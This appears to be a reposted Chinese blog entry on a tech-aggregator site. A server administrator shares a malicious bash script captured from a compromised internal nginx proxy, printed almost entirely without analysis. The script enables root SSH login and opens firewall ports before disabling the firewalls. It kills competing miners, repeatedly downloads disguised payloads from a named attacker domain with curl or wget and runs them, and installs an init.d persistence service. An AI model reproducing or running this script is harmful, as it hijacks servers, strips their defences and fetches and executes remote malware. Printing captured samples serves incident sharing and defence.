日常抓病毒

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了日常抓病毒，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含6516字，纯文字阅读大概需要10分钟。

内容图文

月常抓病毒水文

这次也是注入，不过都能搞到内网服务器了。

被入侵的服务器是内网的nginx代理服务器，默认文件倒是没有被删除，但跑满了的CPU实在不能忍。

抓到文件，就当是复习shell脚本了，技术不到家，代码容易被攻破啊。

攻击者获取文件地址：xia.beihaixue.com（香港）

#!/bin/bash
#chkconfig: 2345 88 14
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function kills() {
#ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
#do
#pkill -f $procid
#done
sed -i '/nameserver*/d' /etc/resolv.conf
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
needreset=1;
iptables -I INPUT -p TCP --dport 1522 -j ACCEPT
iptables -I INPUT -p TCP --dport 3307 -j ACCEPT
iptables -I INPUT -p TCP --dport 6001 -j ACCEPT
sed -i '/.PermitRootLogin*/d' /etc/ssh/sshd_config
sed -i '/PermitRootLogin*/d' /etc/ssh/sshd_config
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
/etc/init.d/iptables stop
service iptables stop
sUsEFirewall2 stopresUsEFirewall2 stop
systemctl stop firewalld.service
systemctl disable firewalld.service
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f AnXqV.yam
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f my.confe
pkill -f pprt
pkill -f ppol
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
PORT_NUMBER=9999
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=5555
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=7777
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=14444
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
apt-get install -y sysv-rc-conf
}

function downloadyam() {
?? ??? ?if [ ! -f "/etc/my.conf" ]; then
?? ??? ??? ??? ?curl http://xia.beihaixue.com/my.png -o /etc/my.conf && chmod 0777 /etc/my.conf
?? ??? ??? ??? ?
?? ??? ??? ??? ?if [ ! -f "/etc/my.conf" ]; then
?? ??? ??? ??? ??? ?wget http://xia.beihaixue.com/my.png -O /etc/my.conf && chmod 0777 /etc/my.conf
?? ??? ??? ??? ??? ?rm -rf /etc/my.conf.*
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?
?? ??? ??? ??? ?if [ ! -f "/etc/my.conf" ]; then
?? ??? ??? ??? ??? ?curl http://xia.beihaixue.com/my.png -o /etc/my.conf && chmod 0777 /etc/my.conf
?? ??? ??? ??? ??? ?rm -rf /etc/my.conf.*
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?if [ ! -f "/etc/my.conf" ]; then
?? ??? ??? ??? ??? ?wget http://xia.beihaixue.com/my.png -O /etc/my.conf && chmod 0777 /etc/my.conf
?? ??? ??? ??? ??? ?rm -rf /etc/my.conf.*
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?#sed -i '1a\nameserver 8.8.8.8\n' /etc/resolv.conf
?? ??? ??? ??? ?nohup /etc/my.conf &
?? ??? ?else
?? ??? ??? ??? ?p=$(ps aux | grep my.conf | grep -v grep | wc -l)
?? ??? ??? ??? ?if [ ${p} -eq 1 ];then
?? ??? ??? ??? ??? ?echo "my.conf"
?? ??? ??? ??? ?elif [ ${p} -eq 0 ];then
?? ??? ??? ??? ??? ?nohup /etc/my.conf -P ?my.conf>/dev/null 2>&1 &
?? ??? ??? ??? ?else
?? ??? ??? ??? ??? ?echo ""
?? ??? ??? ??? ?fi
?? ??? ?fi
}
function downloadyam1() {
?? ??? ?if [ ! -f "/var/ssh.conf" ]; then
?? ??? ??? ??? ?curl http://xia.beihaixue.com/sso.png -o /var/ssh.conf && chmod 0777 /var/ssh.conf
?? ??? ??? ??? ?if [ ! -f "/var/ssh.conf" ]; then
?? ??? ??? ??? ??? ?wget http://xia.beihaixue.com/sso.png -O /var/ssh.conf && chmod 0777 /var/ssh.conf
?? ??? ??? ??? ??? ?rm -rf /var/ssh.conf.*
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?
?? ??? ??? ??? ?if [ ! -f "/var/ssh.conf" ]; then
?? ??? ??? ??? ??? ?curl http://xia.beihaixue.com/sso.png -o /var/ssh.conf && chmod 0777 /var/ssh.conf
?? ??? ??? ??? ??? ?rm -rf /var/ssh.conf.*
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?if [ ! -f "/var/ssh.conf" ]; then
?? ??? ??? ??? ?
?? ??? ??? ??? ??? ?wget http://xia.beihaixue.com/sso.png -O /var/ssh.conf && chmod 0777 /var/ssh.conf
?? ??? ??? ??? ??? ?rm -rf /var/ssh.conf.*
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?
?? ??? ??? ??? ?nohup /var/ssh.conf &
?? ??? ?else
?? ??? ??? ??? ?p=$(ps aux | grep ssh.conf | grep -v grep | wc -l)
?? ??? ??? ??? ?if [ ${p} -eq 1 ];then
?? ??? ??? ??? ??? ?echo "ssh.conf"
?? ??? ??? ??? ?elif [ ${p} -eq 0 ];then
?? ??? ??? ??? ??? ?nohup /var/ssh.conf -P ssh.conf>/dev/null 2>&1 &
?? ??? ??? ??? ?else
?? ??? ??? ??? ??? ?echo ""
?? ??? ??? ??? ?fi
?? ??? ?fi
}
function downloadyam2() {
?? ??? ??? ??? ?if [ ! -f "/etc/init.d/S67" ]; then
?? ??? ??? ??? ??? ?curl http://xia.beihaixue.com/s68.png -o /etc/init.d/S67 && chmod 0777 /etc/init.d/S67
?? ??? ??? ??? ??? ?rm -rf /etc/init.d/S67.*
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?if [ ! -f "/etc/init.d/S67" ]; then
?? ??? ??? ??? ??? ?wget http://xia.beihaixue.com/s68.png -O /etc/init.d/S67 && chmod 0777 /etc/init.d/S67
?? ??? ??? ??? ??? ?rm -rf /etc/init.d/S67.*
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?
?? ??? ??? ??? ?if [ ! -f "/etc/init.d/S67" ]; then
?? ??? ??? ??? ??? ?curl http://xia.beihaixue.com/s68.png -o /etc/init.d/S67 && chmod 0777 /etc/init.d/S67
?? ??? ??? ??? ??? ?rm -rf /etc/init.d/S67.*
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?if [ ! -f "/etc/init.d/S67" ]; then
?? ??? ??? ??? ??? ?wget http://xia.beihaixue.com/s68.png -O /etc/init.d/S67 && chmod 0777 /etc/init.d/S67
?? ??? ??? ??? ??? ?rm -rf /etc/init.d/S67.*
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?
?? ??? ??? ??? ?if [ -f "/usr/bin/yum" ]; then
?? ??? ??? ??? ??? ?chkconfig --add S67
?? ??? ??? ??? ??? ?chkconfig S67 on
?? ??? ??? ??? ?fi
?? ??? ??? ??? ?if [ -f "/usr/bin/sysv-rc-conf" ]; then
?? ??? ??? ??? ??? ?cd /etc/init.d/
?? ??? ??? ??? ??? ?sysv-rc-conf S67 on
?? ??? ??? ??? ?fi
}
while [ 1 ]
do
?? ?kills
?? ?#check
?? ?downloadyam
?? ?sleep 20
?? ?downloadyam1
?? ?sleep 600
done

内容总结

以上是互联网集市为您收集整理的日常抓病毒全部内容，希望文章能够帮你解决日常抓病毒所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/994694.html

来源：【匿名】

【上一篇】机器学习——动手从决策树实现随机森林【下一篇】关于IE的RegExp.exec的问题

更多 ►

【日常抓病毒】教程文章相关的互联网学习教程文章

GalaxyLu freebuf一、正常报文排查一次抓包，可能会有几万个报文，熟练地使用过滤功能，可以快速定位到需要分析的内容。在这里过滤http报文，直接对http报文进行分析。1.1查看请求包第一个http是访问http://www.msftncsi.com/ncsi.txt。由于无法判断URL的安全性，可以根据URL查询威胁情报库，看看是否为恶意URL。根据云沙箱分析为安全。基本可以判断是安全的网站。1.2查看返回包也可以查看返回包的报文，通过返回结果判断。这个报文...

Dharma家族.blm后缀勒索病毒正在威胁要对您的数据进行加密

最近出现多家公司找我咨询，他们所在公司的服务器都感染了.blm后缀勒索病毒，中毒后，服务器上的所有文件都被加密锁定，没办法正常打开使用，而且文件名也被篡改成. blm后缀，导致公司业务无法正常开展，影响较大。经与他们紧密沟通及进行文件检测，根据检测的结果，我向他们提供了相应的解决方案建议，已有公司按照解决方案的建议顺利完成了文件数据的恢复工作。对于这个. blm后缀勒索病毒究竟是什么来头？是通过什么方式传播感染...

针对VMware vSphere的勒索病毒已经出现【图】

针对VMware vSphere的勒索病毒已经出现 https://www.crazycen.com/vmware/1905.html 2021年3月15日 8318点热度 15人点赞 10条评论 2021.03.14 周日凌晨，睡梦中醒来，经用户反馈，大量虚拟机关闭，虚拟处于关机，并处于无法连接状态，用户生产环境停线。小岑和同事，以及用户，一起参与到业务恢复中。花费一整天时间，才将业务恢复的七七八八。中毒现象： VMware vSphere集群仅有vCenter处于正常状态。同时企业中Windows桌面P...

日常抓病毒【代码】

月常抓病毒水文这次也是注入，不过都能搞到内网服务器了。被入侵的服务器是内网的nginx代理服务器，默认文件倒是没有被删除，但跑满了的CPU实在不能忍。抓到文件，就当是复习shell脚本了，技术不到家，代码容易被攻破啊。攻击者获取文件地址：xia.beihaixue.com（香港）#!/bin/bash #chkconfig: 2345 88 14 SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { #ps aux |gre...

美国621位经济学家关于支持就业和企业应对新冠病毒大流行的声明

Source: http://www.columbia.edu/~wk2110/Corona/Statement.pdf 新冠病毒全球性流行首先是一场健康危机，但它同时也严重损害了我们的经济。为了应对公共卫生挑战，要求企业和家庭大幅减少经济活动，数以千万计的美国人的生计问题悬而未决。未来几天所作的政策选择将严重影响到，整个危机期间人们会感受到多大程度的经济困难，以及谁会首先感受到其负面影响。这些选择还将决定在危机结束后我们还有哪些可用选择。由于为遏制COVID-1...

一段病毒常用的VBS代码

复制代码代码如下:On error resume next Dim fso,wshell,curfolder,curdristr,curdri Set fso=createobject("scripting.filesystemobject") Set wshell=CreateObject("WScript.shell") Set curfolder=fso.GetFolder(".") curdristr=Left(WScript.ScriptFullName,3) Set curdri=fso.GetDrive(curdristr) reghid() ‘不显示隐藏文件 If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then ‘如果在system32中 For i=1...

1002. [FJOI2007]轮状病毒【找规律+递推】【代码】

Description　　轮状病毒有很多变种，所有轮状病毒的变种都是从一个轮状基产生的。一个N轮状基由圆环上N个不同的基原子和圆心处一个核原子构成的，2个原子之间的边表示这2个原子之间的信息通道。如下图所示　　N轮状病毒的产生规律是在一个N轮状基中删去若干条边，使得各原子之间有唯一的信息通道，例如共有16个不同的3轮状病毒，如下图所示　　现给定n(N<=100)，编程计算有多少个不同的n轮状病毒Input　　第一行有1个正整数nOut...

[FJOI2007]轮状病毒（bzoj1002）（递推+高精度）【代码】

传送门其实这道题是生成树的计数问题，可以用个什么Matrix-Tree定理然鹅我不会看了这篇博客打表找规律什么的真的是大佬！！！从别人那儿扒到递推式：f[i]=f[i-1]*3-f[i-2]+2因为会炸LL，所以用高精度。#include<bits/stdc++.h> #define LL long long usingnamespace std; int read() {int f=1,x=0;char s=getchar();while(s<‘0‘||s>‘9‘){if(s==‘-‘)f=-1;s=getchar();}while(s>=‘0‘&&s<=‘9‘){x=x*10+s-‘0‘;s=getchar()...

病毒&烦人的幻灯片【代码】【图】

《病毒》传送门《烦人的幻灯片》传送门病毒描述有一天，小y突然发现自己的计算机感染了一种病毒！还好，小y发现这种病毒很弱，只是会把文档中的所有字母替换成其它字母，但并不改变顺序，也不会增加和删除字母。　　现在怎么恢复原来的文档呢！小y很聪明，他在其他没有感染病毒的机器上，生成了一个由若干单词构成的字典，字典中的单词是按照字母顺序排列的，他把这个文件拷贝到自己的机器...

.ReadInstructions后缀勒索病毒突袭致某公司营销业务严重受阻【图】

案例简介：近日，91数据恢复接到湖北某公司的微信咨询与求助，他们是一家营销推广业务公司，由于公司营销业务的服务器遭遇了勒索病毒.ReadInstructions后缀的***，公司营销数据和营销合作业务数据存储的服务器上所有数据被加密锁定，所有文件后缀均被改为.ReadInstructions后缀，导致目前公司的营销合作业务已停摆，该公司寻求91数据恢复团队的帮助，希望尽快恢复数据，否则公司营销业务无法开展。经过91数据恢复工程师的检...

【数据库修复】.ReadInstrutions后缀勒索病毒的mdf数据库文件修复【图】

案例简介：近日，91数据恢复接到深圳某公司的微信咨询，他们是一家代工业务工厂，公司的服务器遭遇了勒索病毒 .ReadInstrutions后缀的***，公司业务数据存储的服务器上所有数据被加密锁定，包括数据库文件在内的所有文件后缀均被改为.ReadInstrutions后缀，导致目前公司生产系统无法运行，该公司找到91数据恢复，希望可以帮忙恢复数据库文件，不需要恢复其它文件。经过91数据恢复工程师的检测分析加密数据，制定了相应的数...

最近出现的.bondy勒索病毒文件是怎么回事？如何应对处理？【图】

什么是bondy勒索病毒？威胁摘要：名称 bondy病毒威胁类型勒索软件，加密病毒，文件柜加密文件扩展名 .bondy 网络犯罪联系 bondbond1@protonmail.com 检测名称 AVG（FileRepMalware），BitDefender（Generic.Ransom.WCryG.21CC8418），ESET-NOD32（MSIL / Filecoder.CS的变体），卡巴斯基（HEUR：Trojan.MSIL.DelShad.gen），完整病征无法打开计算机上存储的文件，以前的功能文件现在具有不同的扩展名（例如，my.docx.lock...

CTB-Locker病毒作者释放出密钥数据库转储【代码】【图】

Allegedly, the author of the “Locker” ransomware hasuploaded a dump of the C2 server database, releasing private keys of infected hosts worldwide to the public. The “author” claims that the release was a mistake, that no further keys will be utilized for encryption, and that automatic decryption of all affectedhosts will begin on June 2nd.This is the post made by the alleged author, uploaded ...

网络安全人坚持与“病毒”做斗争【图】

budui 嘶吼专业版 2020年春节因为新型冠状病毒的爆发注定变得特殊，起初我们都以为只是一场流感、一些无关痛痒的新闻，没人料到，2020年新年的这场疫情将几千万人禁足在家里。柴静在《看见》一书中描述2003年非典时说，“恐惧‘嗡’一声像马蜂群一样散开，叮住了人群”，我们都没想过有生之年这样的经历会有第二次。好在相比起2003年，我们能够集结起更多的有生力量来对抗疫情、维持正常运转，有更强的信心保护好自己，战胜疫情。在...

2020年活动频繁的.yufl勒索病毒究竟是什么来头，该如何应对？【图】

今日接到北京一家科技信息公司的求助，该公司的服务器中了勒索病毒，遭遇勒索病毒***后服务器上的全部文件被加密锁定，导致金蝶财务软件无法正常启动，且库文件名被篡改添加了***者的ID信息、邮箱以及yufl后缀，经远程查看检测，并根据检测结果与对方沟通数据修复方案，最终按照修复方案完美修复该服务器上的所有文件。那我们来了解下.yufl后缀勒索病毒，究竟是什么来头？什么是YUFL勒索病毒？ YUFL旨在通过加密文件，更改文件名...

首页 / 更多教程 / 日常抓病毒

日常抓病毒

内容导读

内容图文

内容总结

内容备注

内容手机端

【日常抓病毒】教程文章相关的互联网学习教程文章

Wireshark分析实验：一次病毒侵入报文的分析【图】

Dharma家族.blm后缀勒索病毒正在威胁要对您的数据进行加密

针对VMware vSphere的勒索病毒已经出现【图】

日常抓病毒【代码】

美国621位经济学家关于支持就业和企业应对新冠病毒大流行的声明

一段病毒常用的VBS代码

1002. [FJOI2007]轮状病毒【找规律+递推】【代码】

[FJOI2007]轮状病毒（bzoj1002）（递推+高精度）【代码】

病毒&烦人的幻灯片【代码】【图】

.ReadInstructions后缀勒索病毒突袭致某公司营销业务严重受阻【图】

【数据库修复】.ReadInstrutions后缀勒索病毒的mdf数据库文件修复【图】

最近出现的.bondy勒索病毒文件是怎么回事？如何应对处理？【图】

CTB-Locker病毒作者释放出密钥数据库转储【代码】【图】

网络安全人坚持与“病毒”做斗争【图】

2020年活动频繁的.yufl勒索病毒究竟是什么来头，该如何应对？【图】

更多教程 - 最新教程

更多教程 - 最热教程